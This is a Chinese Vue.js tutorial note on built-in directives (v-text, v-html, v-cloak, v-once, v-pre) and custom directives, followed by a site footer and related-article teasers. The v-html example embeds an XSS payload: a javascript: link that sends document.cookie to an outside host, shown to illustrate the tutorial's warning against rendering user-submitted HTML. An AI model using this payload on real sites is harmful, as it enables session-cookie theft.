Vue笔记 4

内置指令

1.v-text_指令

我们学过的指令:

​ v-bind : 单向绑定解析表达式, 可简写为 :xxx

​ v-model : 双向数据绑定

​ v-for : 遍历数组/对象/字符串

​ v-on : 绑定事件监听, 可简写为@

​ v-if : 条件渲染(动态控制节点是否存存在)

​ v-else : 条件渲染(动态控制节点是否存存在)

​ v-show : 条件渲染 (动态控制节点是否展示)

​ v-text指令:

​ 1.作用:向其所在的节点中渲染文本内容。

​ 2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-text指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script>
</head><body><!-- 准备好一个容器--><div id="root"><div>你好,{{name}}</div><div v-text="name"></div><div v-text="str"></div></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el: '#root',data: {name: '尚硅谷',str: '<h3>你好啊!</h3>'}})
</script></html>

2.v-html_指令

v-html指令:

​ 1.作用:向指定节点中渲染包含html结构的内容。

​ 2.与插值语法的区别:

​ (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。

​ (2).v-html可以识别html结构。

​ 3.严重注意:v-html有安全性问题!!!!

​ (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。

​ (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-html指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><div>你好,{{name}}</div><div v-html="str"></div><div v-html="str2"></div></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'尚硅谷',str:'<h3>你好啊!</h3>',str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',}})</script>
</html>

3.v-cloak_指令

v-cloak指令(没有值):

​ 1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。

​ 2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-cloak指令</title><style>[v-cloak]{display:none;}</style><!-- 引入Vue --></head><body><!-- 准备好一个容器--><div id="root"><h2 v-cloak>{{name}}</h2></div><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script></body><script type="text/javascript">console.log(1)Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'尚硅谷'}})</script>
</html>

4.v-once_指令

v-once指令:

​ 1.v-once所在节点在初次动态渲染后,就视为静态内容了。

​ 2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-once指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- v-once指令:1.v-once所在节点在初次动态渲染后,就视为静态内容了。2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。--><!-- 准备好一个容器--><div id="root"><h2 v-once>初始化的n值是:{{n}}</h2><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{n:1}})</script>
</html>

5.v-pre_指令

v-pre指令:

​ 1.跳过其所在节点的编译过程。

​ 2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-pre指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><h2 v-pre>Vue其实很简单</h2><h2 >当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{n:1}})</script>
</html>

自定义指令

自定义指令总结:

​ 一、定义语法:

​ (1).局部指令:

​ new Vue({ new Vue({

​ directives:{指令名:配置对象} 或 directives{指令名:回调函数}

​ }) })

​ (2).全局指令:

​ Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)

​ 二、配置对象中常用的3个回调:

​ (1).bind:指令与元素成功绑定时调用。

​ (2).inserted:指令所在元素被插入页面时调用。

​ (3).update:指令所在模板结构被重新解析时调用。

​ 三、备注:

​ 1.指令定义时不加v-,但使用时要加v-;

​ 2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>自定义指令</title><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><h2>{{name}}</h2><h2>当前的n值是:<span v-text="n"></span> </h2><!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> --><h2>放大10倍后的n值是:<span v-big="n"></span> </h2><button @click="n++">点我n+1</button><hr/><input type="text" v-fbind:value="n"></div></body><script type="text/javascript">Vue.config.productionTip = false//定义全局指令/* Vue.directive('fbind',{//指令与元素成功绑定时(一上来)bind(element,binding){element.value = binding.value},//指令所在元素被插入页面时inserted(element,binding){element.focus()},//指令所在的模板被重新解析时update(element,binding){element.value = binding.value}}) */new Vue({el:'#root',data:{name:'尚硅谷',n:1},directives:{//big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。/* 'big-number'(element,binding){// console.log('big')element.innerText = binding.value * 10}, */big(element,binding){console.log('big',this) //注意此处的this是window// console.log('big')element.innerText = binding.value * 10},fbind:{//指令与元素成功绑定时(一上来)bind(element,binding){element.value = binding.value},//指令所在元素被插入页面时inserted(element,binding){element.focus()},//指令所在的模板被重新解析时update(element,binding){element.value = binding.value}}}})</script>
</html>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/5169.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

洞察未来:数据治理中的数据架构新思维

随着大数据时代的来临&#xff0c;数据已经成为企业运营和社会发展的重要资产。然而&#xff0c;数据的复杂性和快速增长给企业带来了前所未有的挑战。在这样的背景下&#xff0c;数据治理成为了企业不可或缺的一环。数据治理不仅涉及数据的管理、安全和隐私保护&#xff0c;更…

ubuntu部署sonar与windows下使用sonar-scanner

ubuntu部署sonar与windows下使用sonar-scanner sonar部署java安装mysql安装配置sonarqube 插件安装sonar-scanner使用简单使用 sonar部署 使用的是sonarqube-7.5&#xff0c;支持的java环境是jdk8&#xff0c;且MySQL版本 >5.6 && <8.0 java安装 打开终端&…

Jackson-自定义注解及实现数据脱敏、枚举转换

Hi,大家好&#xff0c;我是抢老婆酸奶的小肥仔。 上一章&#xff0c;我们介绍了下Jackson及相关的注解&#xff0c;其实我们可以通过仿照一些注解来实现自定义以满足我们自己的业务需求&#xff0c;这一章&#xff0c;我们来说说jackson提供的自定义注解及一些应用吧。 废话不…

Virtualbox7.0.10--创建虚拟机

前言 下载Virtualbox7.0.10&#xff0c;可参考《Virtualbox–下载指定版本》 Virtualbox7.0.10具体安装步骤&#xff0c;可参考《Virtualbox7.0.10的安装步骤》 Virtualbox7.0.10创建虚拟机&#xff0c;可参考《Virtualbox7.0.10–创建虚拟机》 Virtualbox7.0.10安装Ubuntu20.0…

H.265码流解析

这一篇内容旨在对H.265码流中的一些概念做简单了解,部分概念与H.264相同,本篇中将不再重复。 1、NALU H.265(HEVC)码流的NALU结构和AVC有一些不同,属于增强版,HEVC NALU结构如下: NALU Header: Forbidden_zero_bit:1位,必须为0,如果不是则表示NALU非法;Nal_unit_t…

后端如何处理接口的重复调用

首先是&#xff0c;原理在请求接口之前&#xff0c;使用过滤器拦截数据&#xff0c;来进行判断两次数据是否一致。 1.自定义注解 2.创建一个Handler处理器 3.RepeatSubmitInterceptor的实现类 4.过滤器的配置

大型企业总分支多区域数据传输,效率为先还是安全为先?

大型企业为了业务拓展需要&#xff0c;会在全国乃至全球各地设立分公司和办事机构&#xff0c;以便更好地处理当地事务&#xff0c;并进行市场的开拓和客户维护&#xff0c;此时&#xff0c;企业内部就衍生出了新的业务需求&#xff0c;即多区域数据传输。 多区域很难准确定义&…

云容器与云中间件

云容器与中间件是两种不同的技术和服务类别&#xff0c;它们分别在云计算环境中扮演着不同的角色&#xff0c;旨在帮助企业构建、部署、管理应用程序并确保其高效、可靠地运行。下面分别介绍两者的基本概念、包含的内容以及各自的用途。 容器 基本概念&#xff1a; 在腾讯云中…

[C++][算法基础]最大不相交区间数量(贪心 + 区间问题2)

给定 &#x1d441; 个闭区间 [&#x1d44e;&#x1d456;,&#x1d44f;&#x1d456;]&#xff0c;请你在数轴上选择若干区间&#xff0c;使得选中的区间之间互不相交&#xff08;包括端点&#xff09;。 输出可选取区间的最大数量。 输入格式 第一行包含整数 &#x1d4…

Aiseesoft Data Recovery for Mac:专业数据恢复软件

Aiseesoft Data Recovery for Mac是一款高效且专业的数据恢复软件&#xff0c;专为Mac用户量身打造。 Aiseesoft Data Recovery for Mac v1.8.22激活版下载 无论是由于误删、格式化还是系统崩溃等原因导致的数据丢失&#xff0c;Aiseesoft都能帮助您快速找回。 它采用先进的扫描…

使用命令删除zip中的文件

要删除zip文件中的某个文件&#xff0c;可以使用zip工具的-d&#xff08;delete&#xff09;选项。 首先需要确保系统已安装zip程序&#xff0c;通常会预装在Linux与macOS上。在Windows系统上&#xff0c;可能要安装额外的压缩工具如7-zip&#xff0c;才能在命令行中执行这类操…

IDEA插件-通义灵码 VS ChatGPT-EasyCode

智能编码助手新时代&#xff1a;通义灵码 vs ChatGPT-EasyCode 随着人工智能技术的飞速发展&#xff0c;智能编码助手逐渐成为程序员的必备工具。它们可以帮助程序员提高编码效率&#xff0c;降低代码缺陷率&#xff0c;并解放创造力。 目前市场上涌现出了众多智能编码助手&a…

Golang | Leetcode Golang题解之第60题排列序列

题目&#xff1a; 题解&#xff1a; func getPermutation(n int, k int) string {factorial : make([]int, n)factorial[0] 1for i : 1; i < n; i {factorial[i] factorial[i - 1] * i}k--ans : ""valid : make([]int, n 1)for i : 0; i < len(valid); i {…

【哈希】Leetcode 217. 存在重复元素

题目讲解 217. 存在重复元素 算法讲解 使用set集合完成元素的存储&#xff0c;当我们将当前元素插入到集合单中&#xff0c;如果insert的返回值的pair.second等于false说明当前元素已经存在&#xff0c;反之元素在集合中存在 class Solution { public:bool containsDuplica…

开放式耳机哪个牌子好?五大爆款机型大盘点

开放式耳机采用挂耳设计&#xff0c;体积小巧&#xff0c;携带方便&#xff0c;并且更加通风透气&#xff0c;避免了耳朵过热和出汗导致的问题&#xff1b;更轻的重量能有效减少长期佩戴对耳朵带来的压力&#xff0c;佩戴时舒适度直接爆表&#xff0c;在跑步、爬山、打球等户外…

ip ssl证书无限端口

IP SSL证书是由CA认证机构颁发的一种特殊数字证书。大部分SSL数字证书都需要用户使用域名进行申请&#xff0c;想要对公网IP地址加密实现https访问就需要申请IP SSL证书。IP SSL证书采用了强大的加密算法&#xff0c;可以有效地防止数据在传输过程中被窃取或篡改&#xff0c;具…

Linux系统ipv4参数解析

ipv4参数解析 不要在任何事物面前迷失掉自我&#xff0c;哪怕是教条&#xff0c;哪怕是别人的眼光&#xff0c;哪怕是爱情 ——《成为简-奥斯汀》 1.参数简介 /proc/sys/net/ipv4目录下这些参数都是 Linux 内核中的网络相关参数&#xff0c;通过修改这些参数可以调整系统的网络…

Copilot Workspace是GitHub对人工智能驱动的软件工程的诠释

软件开发的未来是人工智能驱动的集成开发环境吗&#xff1f;至少GitHub 是这样想的。 在今年初秋于旧金山举行的 GitHub Universe 年度大会之前&#xff0c;GitHub 发布了 Copilot Workspace&#xff0c;这是一种开发环境&#xff0c;利用 GitHub 所称的 “Copilot 驱动的代理…

基于SpringBoot的在线拍卖系统 - 源码免费(私信领取)

1. 研究目的 本项目旨在设计并实现一个基于Spring Boot的在线拍卖系统&#xff0c;提供一个安全、高效的平台&#xff0c;供用户进行拍卖活动&#xff0c;实现商品的快速交易。 2. 研究要求 a. 需求分析 通过市场调研和用户需求分析&#xff0c;了解在线拍卖市场的特点和用…

Pytest自动化测试框架详解

今日之失&#xff0c;未必不为后日之得。大家好&#xff0c;刚才在翻看之前整理的一些关于自动化测试的文档&#xff0c;突然发现一个比较详细的关于pytest框架的介绍和使用文章&#xff0c;对于打算使用python进行自动化测试编写的小伙伴&#xff0c;还是很值得一看的&#xf…